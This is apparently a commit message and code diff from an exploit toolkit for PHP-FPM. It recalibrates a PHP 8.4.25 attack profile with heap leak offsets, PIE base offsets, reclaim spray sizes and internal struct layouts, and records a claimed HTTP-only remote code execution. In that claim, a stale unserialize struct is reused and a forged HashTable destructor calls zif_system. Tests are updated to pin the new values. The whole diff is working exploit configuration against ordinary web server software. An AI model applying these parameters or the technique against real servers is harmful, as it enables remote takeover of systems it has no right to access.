8.4.25: re-calibrate the FPM profile against this checkout's build

The leak geometry is per environment (compile-time prefix and checkout
paths shift the heap), and the shipped 8.4.25 profile had been calibrated
on a different machine.  Re-ran the HTTP-only calibrate against this
repo's own php-8.4.25 build: draft extracted from the binary, phase-1
geometry (chunk_ptr_off=0x87e8, PIE pointer @leak+0x17668), reclaim
candidate 0x81000/0xfe8, and a uid=1000 RCE proof recorded in the profile
(verifier out/calib8425).  The two tests that pinned the old reference
values follow the recalibrated profile.

Also removed the draft 7.2.34 profile: the stale struct arms (level=1) but
lives in a recycled small-bin slot (d_off=0x5fc58) that no consume shape
reclaims - an 8K-class spray of 48 fields per request never lands on it -
so 7.2 stays a session-file plant target, as documented.

Author: VABISMO

profiles/8.4.25-fpm.json

@@ -19,39 +19,70 @@
     "bg_unserialize_level_off": 880,
     "struct_size": 8216,
     "reclaim_pads": [
+      4096,
       4096,
       4096
     ],
-    "reclaim_size": 12288,
+    "reclaim_size": 16384,
     "oracle": "/proc/<pid>/mem (local lab)",
     "no_oracle": {
       "reclaim_pads": [
+        4096,
         4096,
         4096
       ],
       "reclaim_size": 16384,
       "candidates": [
         {
-          "d_off": "0x7f000",
+          "d_off": "0x81000",
           "k": "0xfe8"
         }
       ],
-      "bases": "stable one-slot geometry: d_off=0x7f000, k=0xfe8; recalibrate if the allocator layout changes"
+      "bases": "chunk from the 2MB-aligned leaked pointer, PIE base validated with a remote endgame; both stable for the FPM master lifetime"
     },
     "leak": {
       "arm_path": "/bigvar.php",
       "pads": [
         32768,
         16384
       ],
-      "size": 16384,
+      "size": 32768,
       "header_content_off": "0x17e8",
-      "read_len": "0x15810",
-      "chunk_ptr_off": "0x77f8",
-      "chunk_base_off": "0x8b000",
-      "pie_ptr_off": "0x157e8",
-      "pie_base_off": "0x4e9fc7",
-      "bases": "leaked over HTTP from a stale short-session string OOB read"
+      "read_len": "0x1c000",
+      "chunk_ptr_off": "0x87e8",
+      "chunk_base_off": "0x8f000",
+      "pie_ptr_off": "0x17668",
+      "pie_base_off": "0x4e80aa",
+      "bases": "discovered over HTTP with the calibrate command (no /proc access)"
+    },
+    "growth": {
+      "leak": {
+        "arm_path": "/bigvar.php",
+        "pads": [
+          32768,
+          16384
+        ],
+        "size": 16384,
+        "header_content_off": "0x17e8",
+        "read_len": "0x1c000",
+        "chunk_ptr_off": "0xa3e8",
+        "chunk_base_off": "0x96000",
+        "pie_ptr_off": "0x8b88",
+        "pie_base_off": "0x4e886a",
+        "bases": "discovered over HTTP with the calibrate command (no /proc access)"
+      },
+      "candidates": [
+        {
+          "d_off": "0x81000",
+          "k": "0xfe8"
+        }
+      ],
+      "reclaim_pads": [
+        4096,
+        4096,
+        4096
+      ],
+      "reclaim_size": 16384
     }
   },
   "stages": {},
@@ -61,6 +92,70 @@
     "session_upload_progress": "On",
     "workers": 2
   },
-  "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, and two 4 KB pads + a 16 KB big field cover d at 0x7f000. The HTTP stale-string leak recovers chunk/PIE with the 8.4.25 PIE offset. The command runs and the consumer worker aborts afterwards; FPM respawns it.",
-  "oom_mb": 4
+  "status": "RCE verified over HTTP only (no /proc access): the stale-string leak recovered chunk=0x7f8247e00000 and the PIE base 0x55d33ce00000 (leak+0x17668 -> 0x4e80aa); the primitive at 0x81000/0xfe8 was observable through app.php and the forged HashTable destructor executed zif_system (proof: out/out/calib8425).",
+  "oom_mb": 4,
+  "layout": {
+    "unserialize_data": {
+      "last": 0,
+      "first_dtor": 8,
+      "last_dtor": 16,
+      "allowed_classes": 24,
+      "ref_props": 32,
+      "cur_depth": 40,
+      "max_depth": 48,
+      "entries": 56,
+      "size": 8216
+    },
+    "var_entries": {
+      "used_slots": 0,
+      "next": 8,
+      "data": 16,
+      "max": 1018
+    },
+    "zval": {
+      "value": 0,
+      "type_info": 8,
+      "context": 12,
+      "size": 16
+    },
+    "zend_array": {
+      "gc": 0,
+      "flags": 8,
+      "nTableMask": 12,
+      "arData": 16,
+      "nNumUsed": 24,
+      "nNumOfElements": 28,
+      "nTableSize": 32,
+      "pDestructor": 48
+    },
+    "zend_reference": {
+      "gc": 0,
+      "val": 8,
+      "val_type_info": 16,
+      "sources": 24
+    },
+    "zend_string": {
+      "gc": 0,
+      "h": 8,
+      "len": 16,
+      "val": 24
+    },
+    "zend_execute_data": {
+      "opline": 0,
+      "call": 8,
+      "return_value": 16,
+      "func": 24,
+      "num_args": 44,
+      "arg1": 80
+    },
+    "bucket": {
+      "val": 0,
+      "h": 16,
+      "key": 24
+    },
+    "bg": {
+      "unserialize_data": 872,
+      "unserialize_level": 880
+    }
+  }
 }

tests/test_fpm.py

@@ -66,9 +66,12 @@ def test_leak_geometry(self):
         self.assertEqual(g["header_content_off"] % 8, 0)
 
     def test_leak_geometry_8425_pie_offset(self):
+        # the profile was re-calibrated against this checkout's own build:
+        # pins the shipped reference values, which is what the leak fallback
+        # trusts when the target has no local calibration yet
         g = fpm._leak_geometry("8.4.25")
         self.assertIsNotNone(g)
-        self.assertEqual(g["pie_base_off"], 0x4E9FC7)
+        self.assertEqual(g["pie_base_off"], 0x4E80AA)
         self.assertEqual(g["pads"], [32768, 16384])
 
 
@@ -262,9 +265,9 @@ def test_fpm_8425_profile_is_rce_verified(self):
         self.assertTrue(profile["verified"])
         self.assertEqual(profile["fixed_in"], "8.4.27")
         self.assertEqual(profile["libphp"]["zif_system"], "0x386460")
-        self.assertEqual(profile["fpm"]["reclaim_pads"], [4096, 4096])
+        self.assertEqual(profile["fpm"]["reclaim_pads"], [4096, 4096, 4096])
         self.assertEqual(profile["fpm"]["no_oracle"]["candidates"],
-                         [{"d_off": "0x7f000", "k": "0xfe8"}])
+                         [{"d_off": "0x81000", "k": "0xfe8"}])
 
     def test_fpm_profile_validates_against_schema(self):
         try: